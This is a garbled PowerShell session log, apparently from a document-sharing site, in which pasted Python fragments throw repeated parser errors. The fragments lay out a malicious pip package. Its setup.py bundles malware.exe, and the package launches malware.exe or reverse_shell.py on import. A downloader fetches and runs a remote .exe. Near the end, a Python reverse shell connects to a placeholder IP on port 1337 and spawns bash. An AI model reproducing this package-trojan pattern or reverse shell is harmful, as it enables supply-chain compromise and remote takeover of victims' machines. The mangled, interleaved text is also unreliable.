You are on page 1of 16

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements!


https://aka.ms/PSWindows

PS C:\Users\tiwar> python_package/
python_package/ : The term 'python_package/' is not recognized as the
name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the
path is correct and try again.
At line:1 char:1
+ python_package/
+ ~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (python_package/:String)
[], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── LICENSE


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── pyproject.toml


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── pyproject.toml
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── README.md


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── README.md
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── src/


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── src/
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ └── module_name/


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── module_name/
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ ├── __init__.py


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ ├── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ └── main.py


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── main.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> └── tests/python_package


└── : The term '└──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ └── tests/python_package
+ ~~~
+ CategoryInfo : ObjectNotFound: (└──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── example_module


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── example_module
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ └── __init__.py


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── LICENSE


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── pyproject.toml


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── pyproject.toml
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── README.md


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── README.md
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> └── setup.py


└── : The term '└──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ └── setup.py
+ ~~~
+ CategoryInfo : ObjectNotFound: (└──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar>
PS C:\Users\tiwar> )
At line:1 char:1
+ )
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : UnexpectedToken

PS C:\Users\tiwar>
PS C:\Users\tiwar> toExecute = 'https://theurl.com/your_file.exe'
toExecute : The term 'toExecute' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:1
+ toExecute = 'https://theurl.com/your_file.exe'
+ ~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (toExecute:String) [], C
ommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> tmpFile = tempfile.mktemp()


At line:1 char:27
+ tmpFile = tempfile.mktemp()
+ ~
An expression was expected after '('.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : ExpectedExpression

PS C:\Users\tiwar>
PS C:\Users\tiwar> with requests.get(toExecute, stream=True) as response:
At line:1 char:28
+ with requests.get(toExecute, stream=True) as response:
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument

PS C:\Users\tiwar> with open(tmpFile, 'wb') as file:


At line:1 char:22
+ with open(tmpFile, 'wb') as file:
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument

PS C:\Users\tiwar> for chunk in response.iter_content(chunk_size=1024):


At line:1 char:12
+ for chunk in response.iter_content(chunk_size=1024):
+ ~
Missing opening '(' after keyword 'for'.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingOpenParenthesisAfterKeyword

PS C:\Users\tiwar> file.write(chunk)
chunk : The term 'chunk' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:24
+ file.write(chunk)
+ ~~~~~
+ CategoryInfo : ObjectNotFound: (chunk:String) [], Comma
ndNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar>
PS C:\Users\tiwar> subprocess.Popen(tmpFile ,shell=False, close_fds=True)pip
install .
At line:1 char:26
+ subprocess.Popen(tmpFile ,shell=False, close_fds=True)pip install .
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument

PS C:\Users\tiwar> pip install git+https://github.com/user/reponame


pip : The term 'pip' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ pip install git+https://github.com/user/reponame
+ ~~~
+ CategoryInfo : ObjectNotFound: (pip:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar>
PS C:\Users\tiwar> python_package
python_package : The term 'python_package' is not recognized as the
name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the
path is correct and try again.
At line:1 char:1
+ python_package
+ ~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (python_package:String)
[], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── example_module


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── example_module
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ ├── __init__.py


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ ├── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ └── malware.exe


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── malware.exe
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── LICENSE


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── pyproject.toml


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── pyproject.toml
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── README.md


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── README.md
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> └── setup.py


└── : The term '└──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ └── setup.py
+ ~~~
+ CategoryInfo : ObjectNotFound: (└──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> from setuptools import setup


At line:1 char:1
+ from setuptools import setup
+ ~~~~
The 'from' keyword is not supported in this version of the language.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : ReservedKeywordNotAllowed

PS C:\Users\tiwar> import subprocess


import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import subprocess
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument

PS C:\Users\tiwar>
PS C:\Users\tiwar> subprocess.Popen('example_module/malware.exe' ,shell=False,
close_fds=True)python_package
At line:1 char:48
+ subprocess.Popen('example_module/malware.exe' ,shell=False,
close_fds ...
+ ~
Missing expression after ','.
At line:1 char:48
+ subprocess.Popen('example_module/malware.exe' ,shell=False,
close_fds ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:48
+ subprocess.Popen('example_module/malware.exe' ,shell=False,
close_fds ...
+ ~
Missing closing ')' in expression.
At line:1 char:75
+ ... en('example_module/malware.exe' ,shell=False,
close_fds=True)python_p ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken

PS C:\Users\tiwar> ├── example_module


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── example_module
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ ├── __init__.py


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ ├── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ └── malware.exe


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── malware.exe
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── LICENSE
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── pyproject.toml


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── pyproject.toml
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── README.mdpython_package


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── README.mdpython_package
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── example_module


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── example_module
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> │ ├── __init__.py


│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ ├── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ └── malware.exe
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── malware.exe
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── LICENSE


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── pyproject.toml


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── pyproject.toml
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> ├── README.md


├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── README.md
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> └── setup.pyfrom setuptools import setup


└── : The term '└──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ └── setup.pyfrom setuptools import setup
+ ~~~
+ CategoryInfo : ObjectNotFound: (└──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )from setuptools import setup
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument

PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )from setuptools import setup
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument

PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )import subprocess
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument

PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar>
PS C:\Users\tiwar> modulePath = os.path.dirname(__file__)
__file__ : The term '__file__' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:30
+ modulePath = os.path.dirname(__file__)
+ ~~~~~~~~
+ CategoryInfo : ObjectNotFound: (__file__:String) [], Co
mmandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> subprocess.Popen(f'{modulePath}/malware.exe' ,shell=False,


close_fds=True)python -m build
At line:1 char:46
+ subprocess.Popen(f'{modulePath}/malware.exe' ,shell=False,
close_fds= ...
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument

PS C:\Users\tiwar> pip install your-package


pip : The term 'pip' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ pip install your-package
+ ~~~
+ CategoryInfo : ObjectNotFound: (pip:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> import example_module


import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import example_module
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> import subprocess
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import subprocess
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> import sys


import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import sys
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> subprocess.Popen([sys.executable,
'example_module/reverse_shell.py'],shell=False, close_fds=True)import subprocess
At line:1 char:70
+ ... ss.Popen([sys.executable,
'example_module/reverse_shell.py'],shell=Fa ...
+ ~
Missing expression after ','.
At line:1 char:70
+ ... ys.executable, 'example_module/reverse_shell.py'],shell=False,
close_ ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:70
+ ... ss.Popen([sys.executable,
'example_module/reverse_shell.py'],shell=Fa ...
+ ~
Missing closing ')' in expression.
At line:1 char:97
+ ... xample_module/reverse_shell.py'],shell=False,
close_fds=True)import s ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken

PS C:\Users\tiwar>
PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> import sys


import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import sys
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar>
PS C:\Users\tiwar> modulePath = os.path.dirname(__file__)
__file__ : The term '__file__' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:30
+ modulePath = os.path.dirname(__file__)
+ ~~~~~~~~
+ CategoryInfo : ObjectNotFound: (__file__:String) [], Co
mmandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> subprocess.Popen([sys.executable,
f'{modulePath}/reverse_shell.py'] ,shell=False, close_fds=True)import sys
At line:1 char:70
+ ... ss.Popen([sys.executable, f'{modulePath}/reverse_shell.py']
,shell=Fa ...
+ ~
Missing expression after ','.
At line:1 char:70
+ ... ys.executable, f'{modulePath}/reverse_shell.py'] ,shell=False,
close_ ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:70
+ ... ss.Popen([sys.executable, f'{modulePath}/reverse_shell.py']
,shell=Fa ...
+ ~
Missing closing ')' in expression.
At line:1 char:97
+ ... {modulePath}/reverse_shell.py'] ,shell=False,
close_fds=True)import s ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken

PS C:\Users\tiwar> import socket


import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import socket
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> import pty


import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import pty
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar>
PS C:\Users\tiwar> s = socket.socket()
At line:1 char:19
+ s = socket.socket()
+ ~
An expression was expected after '('.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : ExpectedExpression

PS C:\Users\tiwar> s.connect(('xxx.xxx.xxx.xxx', 1337))


s.connect : The term 's.connect' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:1
+ s.connect(('xxx.xxx.xxx.xxx', 1337))
+ ~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (s.connect:String) [], C
ommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Users\tiwar> [os.dup2(s.fileno(),fd) for fd in (0,1,2)]


At line:1 char:10
+ [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+ ~
Missing closing ')' in expression.
At line:1 char:1
+ [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+ ~~~~~~~~~
Unexpected attribute 'os.dup2'.
At line:1 char:11
+ [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+ ~~~~~~~
Unexpected token '.fileno' in expression or statement.
At line:1 char:19
+ [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+ ~
An expression was expected after '('.
At line:1 char:23
+ [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:28
+ [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+ ~
Missing opening '(' after keyword 'for'.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInExpression

PS C:\Users\tiwar> pty.spawn('bash')

You might also like